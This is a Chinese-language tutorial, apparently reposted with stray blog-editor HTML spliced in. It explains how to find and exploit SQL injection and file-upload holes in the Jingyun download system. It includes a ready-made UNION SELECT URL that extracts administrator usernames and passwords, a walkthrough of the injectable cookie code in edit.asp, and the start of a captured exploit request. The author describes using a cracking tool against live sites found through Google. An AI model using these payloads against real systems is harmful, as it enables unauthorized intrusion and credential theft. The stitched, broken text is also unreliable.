上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,鄙毕人就抽了宝贵的打牌(QQ升级)时间了写了个程式,很快就猜出来了。上面是方法。
我用我写的程式在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。
我登陆一个网站后,发现有个地方能够上传文档。我回过头读源代码,发现了和动网相同的文档上传漏洞,都是在路径上没做检查,允许远程命名文档名。
我抓包,提交,恩,成功。顺便又写了个脚本。
--------------------------------------------
以前的一个测试方法漏洞:
http://惊云下载系统网站地址/admin/user.asp?user=test' union select 1,2,3,4,user,6,pwd,8,9,10,11,12,13, 14 from userinfo where dj=3 and '1'='1
</textarea></div></div><script language="javascript" type="text/javascript">initUBB("Message")</script></td>
</tr>
<tr>
<td align="right" valign="top"> </td>
<td colspan="2" align="left"><label for="label4">
<label for="label4"><input id="label4" name="log_disImg" type="checkbox" value="1" />
禁止显示图片</label>
<label for="label5">
<input name="log_DisSM" type="checkbox" id="label5" value="1" />
禁止表情转换</label>
<label for="label6">
<input name="log_DisURL" type="checkbox" id="label6" value="1" />
禁止自动转换链接</label>
<label for="label7">
<input name="log_DisKey" type="checkbox" id="label7" value="1" checked/>
禁止自动转换关键字</label></td>
</tr>
<tr>
<td align="right" valign="top"><span style="font-weight: bold">内容摘要:</span></td>
<td colspan="2" align="left"><div><label for="shC"><input id="shC" name="log_IntroC" type="checkbox" value="1" onclick="document.getElementById('Div_Intro').style.display=(this.checked)?'block':'none'" />编辑内容摘要</label></div>
<div id="Div_Intro" style="display:none">
<textarea name="log_Intro" class="editTextarea" style="width:99%;height:120px;">惊云下载系统edit.asp文档存在SQL注入漏洞,后台存在任意文档上传漏洞
惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文档的漏洞,一来发布一个
漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。
<%
user=Request.cookies("JyDownUserName")
'取得用户COOKIE并存入USER变量
if user<>"" then
user=replace(user," "," close")
'给USER变量替换空格
else
response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>假如您是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.")
response.end
end if
'上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。
server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>")
response.end
end if
'上面判断网页是否是从浏览器点击而进入的,我们同样能够伪造是这个地方为真,再此不再赘述
%>
<!--#include file="mdb_path_user.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
'上面是头文档包含,没什么用,忽略就行了
<%
pwd=replace(request.form("pwd")," "," close")
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
'关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," "," close"),很明显没有过滤单引号
if rs.eof then
JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"
'注入条件判断语句,没有他都不能确定是否成功,返回此句代表失败
else
if request("type")="save" then
if pwd="" then
JyDownMsg="错误:要修改资料必需填写原密码!"
else
if pwd<>rs("pwd") then
JyDownMsg="错误:原密码错误!"
'注入条件判断语句,没有他都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已没有意义了。解释至此
else
qm=htmlencode(request.form("qm"))
if len(qm)>250 then
JyDownMsg="错误:个性签名多于250个字符!"
else
.........
好了,已知道注入的地方,而且知道成功的标志,同时知道表的结构(网上能够找到嘛),便能够利用了。
到底如何利用呢?当然最好是搞定管理员的用户和密码拉。
我用WSE抓包后,整理如下(以我自己的机器做实验)
POST /admin/edit.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
1 Referer: http://localhost/
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




